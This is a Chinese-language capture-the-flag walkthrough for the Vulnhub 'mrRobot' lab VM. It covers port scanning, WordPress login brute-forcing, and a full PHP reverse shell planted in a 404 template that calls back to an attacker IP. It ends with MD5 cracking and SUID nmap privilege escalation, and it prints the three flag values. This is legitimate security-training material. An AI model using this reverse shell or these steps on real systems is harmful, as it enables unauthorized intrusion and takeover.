Vulnhub-mrRobot

# mrRobot

## 收集资产

```shell
netdiscover -r 192.168.0.0/24
nmap -p- 192.168.0.133 #masscan -p 0-65535 192.168.0.136
nmap -sV -sC -p- -A 192.168.0.136
```

| 端口    | 描述  |
| ------- | ----- |
| 80/tcp  | http  |
| 443/tcp | https |

```shell
dirb http://192.168.0.136
```

访问`http://192.168.0.136/0`为wordpress

在`robots.txt`发现有

```
fsocity.dic
key-1-of-3.txt
```

两个文件，其中`fsocity.dic`为字典，`key-1-of-3.txt`拿到疑似flag1

```
073403c8a58a1f80d943455fb30724b9
```

将给的dic用来爆破wordpress的登录界面`http://192.168.0.136/wp-login`

使用burp的intruder模块爆破出疑似用户名`Elliot/elliot`，继续用burp爆破出密码`ER28-0652`

![image-20240718083209108](https://download.imxbt.cn/upload/202407180832093863d602b13fc11b7cfeabfd0d4f7fedc7f.png)

![image-20240718085554989](https://download.imxbt.cn/upload/20240718085555089a2039facf02ad281f4713eb8efba9e6b.png)

## 建立shell

既然登录到Wordpress Admin那么就可以修改模板文件实现反向连接shell，这里修改404.php然后访问触发404即可

```php
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.0.128';
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

## getshell

建立反向shell之后在/home/robot找到一个md5，拿去解密可得`abcdefghijklmnopqrstuvwxyz`

```shell
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
```

登录到robot拿到flag2

```shell
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
```

查找SUID可执行内容

```shell
find / -perm -4000 2>/dev/nul
```

可以发现有一个nmap具有SUID，进入交互模式输入sh即可提权并拿到flag3

```shell
nmap --interactive
sh
cd /root
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
```

Vulnhub-mrRobot

发表新评论